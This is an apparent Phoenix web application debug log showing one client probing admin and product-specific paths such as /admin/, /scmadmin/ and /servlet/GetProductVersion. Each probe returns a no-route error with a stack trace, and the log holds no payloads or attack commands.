    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:51.452000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38840] GET /core/orionSplashScreen.do
[Thu Sep  3 08:06:51.472000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38840] ** (Phoenix.Router.NoRouteError) no route found for GET /core/orionSplashScreen.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:54.375000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57304] GET /
[Thu Sep  3 08:06:54.375000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:57304] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:54.376000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57304] Sent 200 in 1ms
[Thu Sep  3 08:06:56.835000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57320] GET /
[Thu Sep  3 08:06:56.836000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:57320] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:06:56.837000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57320] Sent 200 in 1ms
[Thu Sep  3 08:06:59.130000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57328] GET /admin/
[Thu Sep  3 08:06:59.165000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57328] ** (Phoenix.Router.NoRouteError) no route found for GET /admin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:06:59.819000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57332] GET /admin/LocalIndex.html
[Thu Sep  3 08:06:59.874000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57332] ** (Phoenix.Router.NoRouteError) no route found for GET /admin/LocalIndex.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:00.530000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57338] GET /scmadmin/
[Thu Sep  3 08:07:00.559000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57338] ** (Phoenix.Router.NoRouteError) no route found for GET /scmadmin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:01.068000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57346] GET /login.html
[Thu Sep  3 08:07:01.094000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57346] ** (Phoenix.Router.NoRouteError) no route found for GET /login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:01.308000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:57358] GET /scmadmin/LocalIndex.html
[Thu Sep  3 08:07:01.327000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:57358] ** (Phoenix.Router.NoRouteError) no route found for GET /scmadmin/LocalIndex.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:04.034000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33072] GET /
[Thu Sep  3 08:07:04.035000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33072] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:07:04.036000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33072] Sent 200 in 2ms
[Thu Sep  3 08:07:07.424000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33084] GET /
[Thu Sep  3 08:07:07.425000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33084] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:07:07.427000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33084] Sent 200 in 2ms
[Thu Sep  3 08:07:13.466000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46526] GET /PassTrixMain.cc
[Thu Sep  3 08:07:13.498000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46526] ** (Phoenix.Router.NoRouteError) no route found for GET /PassTrixMain.cc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:14.183000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46528] POST /servlet/GetProductVersion
[Thu Sep  3 08:07:14.206000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46528] ** (Phoenix.Router.NoRouteError) no route found for POST /servlet/GetProductVersion (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:14.498000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46536] GET /mantis/login_page.php
[Thu Sep  3 08:07:14.522000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46536] ** (Phoenix.Router.NoRouteError) no route found for GET /mantis/login_page.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:15.153000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46546] GET /mantisbt/login_page.php
[Thu Sep  3 08:07:15.171000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46546] ** (Phoenix.Router.NoRouteError) no route found for GET /mantisbt/login_page.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:20.452000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46556] GET /LoginPage.do
[Thu Sep  3 08:07:20.468000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46556] ** (Phoenix.Router.NoRouteError) no route found for GET /LoginPage.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:21.011000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46572] GET /LoginPage.do
[Thu Sep  3 08:07:21.024000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46572] ** (Phoenix.Router.NoRouteError) no route found for GET /LoginPage.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:22.079000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46586] GET /LoginPage.do
[Thu Sep  3 08:07:22.097000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46586] ** (Phoenix.Router.NoRouteError) no route found for GET /LoginPage.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:23.404000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55762] POST /servlet/GetProductVersion
[Thu Sep  3 08:07:23.436000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55762] ** (Phoenix.Router.NoRouteError) no route found for POST /servlet/GetProductVersion (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:07:25.060000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55778] GET /netflow/html/aboutus.jsp
[Thu Sep  3 08:07:25.101000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55778] ** (Phoenix.Router.NoRouteError) no route found for GET /netflow/html/aboutus.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
